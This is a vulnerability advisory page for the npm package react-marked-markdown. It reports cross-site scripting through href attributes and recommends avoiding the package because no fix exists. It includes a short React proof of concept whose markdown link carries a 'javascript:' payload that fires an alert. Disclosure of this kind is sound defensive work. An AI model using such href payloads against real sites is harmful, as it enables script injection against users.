Cross-Site Scripting in react-marked-markdown
All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown
Proof of concept:
import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'
ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)Recommendation
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | react-marked-markdown | >= 0.0.0 | no fix |
References
- Weakness (CWE)
CWE-79- Platform
- npm
- Package
react-marked-markdown- Disclosed
- 01.09.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m7qm-r2r5-f77q - CC BY 4.0
Vulnerability history: react-marked-markdown
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.